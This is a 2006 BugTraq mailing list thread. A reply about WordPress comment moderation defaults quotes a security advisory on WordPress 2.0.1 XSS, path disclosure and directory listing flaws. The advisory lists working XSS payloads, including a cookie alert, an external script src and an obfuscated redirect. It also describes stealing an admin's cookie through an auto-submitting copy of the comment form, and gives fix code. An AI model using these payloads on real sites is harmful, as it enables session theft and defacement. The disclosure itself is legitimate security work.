BugTraq
FW: WordPress 2.0.1 Multiple Vulnerabilities Feb 28 2006 05:19PM
Michael Wade ferguson com (1 replies)
Re: FW: WordPress 2.0.1 Multiple Vulnerabilities Mar 02 2006 01:43PM
Chris Hajer (chrishajer usa net)
The default on 1.5.2, 2.0 and 2.0.1 is to automatically approve comments
without moderation IF the following are true:

- The comment author has filled out name and e-mail (trivial)

- The comment author must have a previously approved comment (not so trivial)

This means the first comment must be approved by an admin before subsequent
comments appear automatically (by default.) It is also easy to make all
comments require administrator approval:

Admin Panel > Options > Discussion:
Check "An administrator must approve the comment"

Regarding %22 being filtered in comments, I do not know.

On Tuesday February 28, 2006 11:19, Michael.Wade (at) ferguson (dot) com [email concealed] wrote:
> I see this only as a problem if the admin has it set to automatically
> post comments. Does anyone know if this is the behavior on a default
> installation? That and idiot admins approving a comment with bad code in
> it.
>
> And what about filtering out %22? Does it do this already?
>
> -----Original Message-----
> From: k4p0k4p0 (at) hotmail (dot) com [email concealed] [mailto:k4p0k4p0 (at) hotmail (dot) com [email concealed]]
> Sent: Monday, February 27, 2006 6:31 PM
> To: bugtraq (at) securityfocus (dot) com [email concealed]
> Subject: WordPress 2.0.1 Multiple Vulnerabilities
>
> /*
> ---------------------------------------------------------------
> [N]eo [S]ecurity [T]eam [NST](r) WordPress 2.0.1 Multiple
> Vulnerabilities
> ---------------------------------------------------------------
> Program : WordPress 2.0
> Homepage: http://www.wordpress.org
> Vulnerable Versions: WordPress 2.0.1 & lower ones
> Risk: Critical!
> Impact: XSS, Full Path Disclosure, Directory Listing
>
> -> WordPress 2.0.1 Multiple Vulnerabilities <-
> ---------------------------------------------------------------
>
> - Description
> ---------------------------------------------------------------
> WordPress is a state-of-the-art semantic personal publishing
> platform with a focus on aesthetics, web standards, and usability.
> What a mouthful. WordPress is both free and priceless at the same time.
>
> - Tested
> ---------------------------------------------------------------
> Tested in localhost & many blogs
>
> - Bug
> ---------------------------------------------------------------
> The vendor was contacted about some other coding errors that are not
> described here, the vendor was noticed about these bugs when this
> advisory was published.
>
> <+ Multiple XSS +>
> There're multiple XSS in `post comment':
>
> [1] `name' variable is not filtered when it's assigned to `value'
> on the `<input>' in the form when the comment it's posted.
> [2] Happends the same as [1] with `website' variable.
> [3] `comment', this variable only filtered " and ' chars, this makes
> possible to use < and >, thus this permit an attacker to inject
> any HTML (or script) code that he/she want but without any " or '
> character, this only happends if the user that post the comment it's
>
> the admin (any registered kind of `user').
>
> If you (or victim) is a unregistered user, you can use " and ' in your
> HTML/script Injection using `name' or `website' variables, but if the
> victim is the admin or a registered user these 2 fields described above
> aren't availabe in the form so you cannot even give a value to them.
> The only remaining option it's to use the `comment' variable but here
> we have the problem that we cannot use " or ' in HTML/SCRIPT Injected
> and
> we have to make the admin to post the comment (POST method).
>
> <+ Full path disclosure & Directory listing +>
> When I discovered this bug, I reported it to some pepople before
> public disclosure, I was noticed that this isn't new and I
> decided to look why they haven't patch this bug.
>
> As this bug it isn't patched yet, I tryed to know why and I found
> something like this in their forum (I don't know if the person
> that posted this was the admin but it gives the explanation):
> (Something like the following, it's not textual).
> `... these bugs are caused by badly configured .ini file, it's not
> a bug generated by the script so it cannot be accepted as a bug of
> WordPress...'. This is not an acceptable answer, if you think it is,
> a bug caused because of register_globals is Off it's .ini fault and not
> the script, they have to be kidding, if they want to make good software,
>
> they have to make as far as the language can, to prevent all bugs.
>
> There're multiple files that don't check if they are been call
> directly. This is a problem because they expect that functions
> that the script is going to be called to be declared.
> This kind of bug it's taken as a Low Risk bug, but it can help
> to future attacks.
>
> - Exploit
> ---------------------------------------------------------------
> -- Cross Site Scripting (XSS)
> PoC:
> [1] Post a comment with the following values (as unregistered user):
> (No possible profit)
>
> Name : "><script>alert("WordPress PoC from");</script>
> Mail : neosecurityteam (at) nst (dot) net [email concealed]
> Website: "><script>alert("[N]eo[S]ecurity[T]eam
> www.neosecurityteam.net");</script>
> Comment: www.neosecurityteam.net/foro/
>
> The injected HTML code only affects the user that posted it, not others.
>
> [2] This way it's more intresting and useful.
> In this case the HTML Injected will stay in the board affecting each
> person
> who see it.
> But we have two problems:
> [I ]- This comment must be posted by the admin
> [II]- We only can use the `comment' field, because the admin form to
> make
> the comment doesn't need the `name' or `website'.
> Also the injected code cannot have any " or ' chars.
>
> Here are my solutions:
> [I ]- We cannot give to the admin a `malicius' URL to steal the cookie
> because it isn't via GET, it's via POST. So the solution it's to
> make a copy form of the real one and set the default values to
> the corresonding field (`comment') to make the stealing.
> Also make the form submit itself when the page loads. Thus, we
> give
> the admin the URL of this form and he/she will post the comment
> with the values we set before. :)
> [II]- We can only use this field to make the injection, the `big'
> problem
> its that we cannot use " or ' chars wich means that something like
>
> window.location = "http://www.google.com.uy"; won't work.
>
> Here are some real examples:
>
> - <script>alert(document.cookie)</script>
> - <script>alert(String.fromCharCode(80,111,67,32,111,102,32,87,111,114,
> 100,80,114,101,115,115,32,98,121,32,75,52,80,48,32,102,114,111,109,32,
> 78,83,84))</script>
> - <script src=http://www.neosecurityteam.net></script>
> - <script>document.location = String.fromCharCode(104,116,116,112,58,47,
> 47,119,119,119,46,110,101,111,115,101,99,117,114,105,116,121,116,101,
> 97,109,46,110,101,116)</script>
>
> As you can see this bug it's exploitable, it's only knowing a bit
> deeper how to do XSS under some conditions. There're more
> possibilities than described above, investigate yourself.
>
> -- Full path disclosure & Directory Listing
> Directory Listing: www.victim.com/wordpress/wp-includes/
>
> Full path disclosure:
> www.victim.com/wordpress/wp-includes/default-filters.php
> www.victim.com/wordpress/wp-includes/template-loader.php
> www.victim.com/wordpress/wp-admin/edit-form-advanced.php
> www.victim.com/wordpress/wp-admin/edit-form-comment.php
> www.victim.com/wordpress/wp-includes/rss-functions.php
> www.victim.com/wordpress/wp-admin/admin-functions.php
> www.victim.com/wordpress/wp-admin/edit-link-form.php
> www.victim.com/wordpress/wp-admin/edit-page-form.php
> www.victim.com/wordpress/wp-admin/admin-footer.php
> www.victim.com/wordpress/wp-admin/menu-header.php
> www.victim.com/wordpress/wp-includes/locale.php
> www.victim.com/wordpress/wp-admin/edit-form.php
> www.victim.com/wordpress/wp-includes/wp-db.php
> www.victim.com/wordpress/wp-includes/kses.php
> www.victim.com/wordpress/wp-includes/vars.php
> www.victim.com/wordpress/wp-admin/menu.php
> www.victim.com/wordpress/wp-settings.php
>
> - Solutions
> ---------------------------------------------------------------
> <+ Cross Site Scripting (XSS) +>
> Change lines ~21 of 'wp-comments-post.php' to:
> $comment_author = htmlentities(trim($_POST['author']));
> $comment_author_email = htmlentities(trim($_POST['email']));
> $comment_author_url = htmlentities(trim($_POST['url']));
> $comment_content = htmlentities(trim($_POST['comment']));
>
> <+ Full Path Disclosure & Directory Listing +>
> In the first line of each vulnerable file you should write:
> if (eregi('name_of_the_file.php', $_SERVER['PHP_SELF']))
> die('You are not allowed to see this page directly');
>
> - References
> ---------------------------------------------------------------
> http://NeoSecurityTeam.net/advisories/Advisory-17.txt
>
> - Credits
> --------------------------------------------------------------
> Discovered by K4P0-> k4p0k4p0[at]hotmail[dot]com
>
> [N]eo [S]ecurity [T]eam [NST](r) - http://NeoSecurityTeam.net/
>
> Irc.InfoGroup.cl #neosecurityteam
> Questions? (Eng | Spa) -> http://NeoSecurityTeam.net/foro/
>
> - Greets
> ---------------------------------------------------------------
> Paisterist
> HaCkZaTaN
> Link
> Daemon21
> erg0t
> NST Comunity!
>
> @@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
> '@@@@@''@@'@@@''''''''@@''@@@''@@
> '@@'@@@@@@''@@@@@@@@@'''''@@@
> '@@'''@@@@'''''''''@@@''''@@@
> @@@@''''@@'@@@@@@@@@@''''@@@@@
> */

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